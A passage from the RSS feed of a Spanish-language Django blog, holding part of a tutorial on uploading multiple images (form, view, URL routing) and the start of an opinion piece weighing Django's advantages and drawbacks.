style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;title&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;Document&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/&lt;/span&gt;title&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/&lt;/span&gt;head&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;body&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;form method&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt; enctype&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;multipart/form-data&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; csrf_token &lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;input&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;file&amp;#34;&lt;/span&gt; name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;images&amp;#34;&lt;/span&gt; multiple&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;button &lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;submit&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;Send&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/&lt;/span&gt;button&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/&lt;/span&gt;form&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/&lt;/span&gt;body&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/&lt;/span&gt;html&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;creacion-de-una-vista-subir-multiples-imagenes-en-django&#34;&gt;Creación de una vista subir múltiples imágenes en Django&lt;/h2&gt;&#xA;&lt;p&gt;Ahora en nuestra aplicación gallery, modifiquemos el archivo views para crear la vista que manejará nuestra subida de imágenes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.http &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; JsonResponse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.shortcuts &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; render&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; gallery&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;handleMultipleImagesUpload&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;method &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        images &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;FILES&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;getlist(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;images&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; image &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; images:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            gallery&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;create(image &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; image)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        uploaded_images &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; gallery&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; JsonResponse({&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;images&amp;#34;&lt;/span&gt;: [{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;url&amp;#34;&lt;/span&gt;: image&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;image&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;url} &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; image &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; uploaded_images]})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; render(request, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;index.html&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si hacemos una petición POST a esta vista obtendremos la lista de imágenes que subimos, luego crearemos un objeto nuevo por cada imágen que subimos y retornaremos la lista de imágenes con sus respectivas url como una respuesta JSON. De otra manera renderizaremos el formulario y lo retornaremos.&lt;/p&gt;&#xA;&lt;p&gt;Con la vista ya creada, basta agregar la url a nuestro archivo &lt;em&gt;urls.py&lt;/em&gt; en la carpeta de nuestro proyecto.&lt;/p&gt;&#xA;&lt;h2 id=&#34;agregando-la-url-para-subir-multiples-imagenes-en-django&#34;&gt;Agregando la url para subir múltiples imágenes en Django&lt;/h2&gt;&#xA;&lt;p&gt;Para facilitar el proceso vamos a importar la vista directamente y la asignaremos a la url &lt;em&gt;upload/&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# urls.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.urls &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; path&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; gallery.views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; handleMultipleImagesUpload&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;upload/&amp;#39;&lt;/span&gt;, handleMultipleImagesUpload, name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;home&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;admin/&amp;#39;&lt;/span&gt;, admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;urls),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sí ahora accedemos a la dirección &lt;em&gt;upload/&lt;/em&gt; veremos nuestro botón para subir archivos y podremos subir múltiples imágenes.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-upload-multiple-images-in-django/images/subida-multiple-de-imagenes.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-upload-multiple-images-in-django/images/subida-multiple-de-imagenes.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Subida de múltiples imágenes en django&#34; width=&#34;735&#34; height=&#34;420&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Si la subida fue exitosa obtendremos como respuesta un JSON con las direcciones de las imágenes que acabamos que subir.&lt;/p&gt;&#xA;&lt;p&gt;Aquí usamos Django para renderizar el formulario. Sin embargo, como ya sabrás, en lugar de renderizar un formulario, puedes limitar la función para que actué como una API. Y posteriormente consumirla realizando una petición POST con javascript.&lt;/p&gt;&#xA;&lt;p&gt;Finalmente, si quieres profundizar en las funcionalidades de los campos &lt;em&gt;ImageField&lt;/em&gt; de Django, revisa &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.1/ref/models/fields/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la documentación oficial.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Seguramente ya sabes como subir una imagen usando un modelo de Django pero, ¿y si no queremos subir una sino múltiples imágenes en Django?&lt;/p&gt;&#xA;&lt;h2 id=&#34;instalacion-de-django&#34;&gt;Instalación de Django&lt;/h2&gt;&#xA;&lt;p&gt;Primero instalamos Django usando pipenv. Además instalaremos Pillow dado que trataremos con imágenes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install django Pillow&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Por qué deberías usar Django Framework?</title>
      <link>https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/</link>
      <pubDate>Wed, 24 Mar 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/</guid>
      
      <category>django</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;¿Por qué usar Django en un mundo donde todo es Javascript? ¿De verdad vale la pena aprender un Framework de Python en un ecosistema que se empecina en Frameworks escritos en Javascript? Pues yo creo que sí y a continuación te expongo algunas de las razones por las que deberías usar Django. Y, para no perder objetividad, te hablaré tanto de las ventajas, como de las desventajas; ya sabes que ninguna solución es perfecta.&lt;/p&gt;&#xA;&lt;h2 id=&#34;es-django-un-framework-de-backend-o-de-frontend&#34;&gt;¿Es django un framework de backend o de frontend?&lt;/h2&gt;&#xA;&lt;p&gt;Django es un framework full-stack que puede ser utilizado únicamente para backend. Lo que lo hace un framework full-stack es que tiene un motor de plantillas con su propia sintaxis, capaz de generar HTML sobre la marcha, pero es completamente opcional, puedes configurarlo para servir sólo JSON o cualquier otro tipo de respuesta API que desees y utilizar React, Vue, Jquery, o lo que quieras en el frontend.&lt;/p&gt;&#xA;&lt;h2 id=&#34;ventajas-y-desventajas-de-django-tldr&#34;&gt;Ventajas y desventajas de Django TLDR&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Desventajas de Django&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Django es un monolito&lt;/li&gt;&#xA;&lt;li&gt;Django es lento&lt;/li&gt;&#xA;&lt;li&gt;La curva de aprendizaje de Django es alta&lt;/li&gt;&#xA;&lt;li&gt;El ORM de Django no es asíncrono&lt;/li&gt;&#xA;&lt;li&gt;Django requiere que sepas Python además de Javascript&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Ventajas de Django&#xA;&lt;ul&gt;&#xA;&lt;li&gt;El ORM de Django está muy completo&lt;/li&gt;&#xA;&lt;li&gt;La mayoría de cuestiones de seguridad están resueltas&lt;/li&gt;&#xA;&lt;li&gt;Autenticación, mensajes, caché, permisos, panel de administración, manejo de formularios, i18n incluídos&lt;/li&gt;&#xA;&lt;li&gt;Framework estable, maduro y con mucha trayectoría&lt;/li&gt;&#xA;&lt;li&gt;Permite iterar y crear MVP muy rápido en startups&lt;/li&gt;&#xA;&lt;li&gt;Perfecto para combinar con Machine Learning&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Si quieres ahondar en alguna en particular sigue leyendo.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;las-ventajas-de-django&#34;&gt;Las ventajas de Django&lt;/h2&gt;&#xA;&lt;p&gt;Django es un framework con baterias incluídas, que cubre prácticamente todas las necesidades de un sitio web interactivo, desde protección contra los ataques más comunes como SQL injection, CSRF, COOP y XSS. Además un ORM, validación de formularios en el backend, caché, i18n, messages y nos ofrece una solución para prácticamente todos los problemas que surgen al desarrollar un sitio web de tamaño mediano o grande.&lt;/p&gt;&#xA;&lt;p&gt;Si eres uno de esos desarrolladores que se consideran &lt;strong&gt;perfeccionistas con deadlines&lt;/strong&gt;, y que no quieren tener que reinventar la rueda una y otra vez con cada nuevo proyecto, vas a amar Django.&lt;/p&gt;&#xA;&lt;h3 id=&#34;el-orm-de-django-es-sencillo-y-facil-de-usar&#34;&gt;El ORM de Django es sencillo y fácil de usar&lt;/h3&gt;&#xA;&lt;p&gt;El ORM de Django abstrae la necesidad de escribir consultas SQL para crear tablas y consultar datos. Es bastante intuitivo de usar y tiene incluidas casi todos las consultas más comunes en su código. Desde filtrados, particionados, uniones e incluso hasta funciones para &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/trigramas-y-busquedas-avanzadas-con-django-y-postgres/&#34;&gt;búsquedas avanzadas de Postgres&lt;/a&gt;&#xA; y manejo de migraciones automático.&lt;/p&gt;&#xA;&lt;p&gt;Para crear una tabla en la base de datos basta con crear una clase que herede de &lt;em&gt;models.Model&lt;/em&gt; y Django se encargará de todo el trabajo pesado.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Review&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    title &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;25&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    comment &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TextField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modified &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ForeignKey(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        get_user_model(), related_name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;reviews&amp;#34;&lt;/span&gt;, null&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;, on_delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;SET_NULL)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El siguiente modelo es equivalente a la siguiente sentencia SQL:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;BEGIN&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;--&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Create model Review&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span 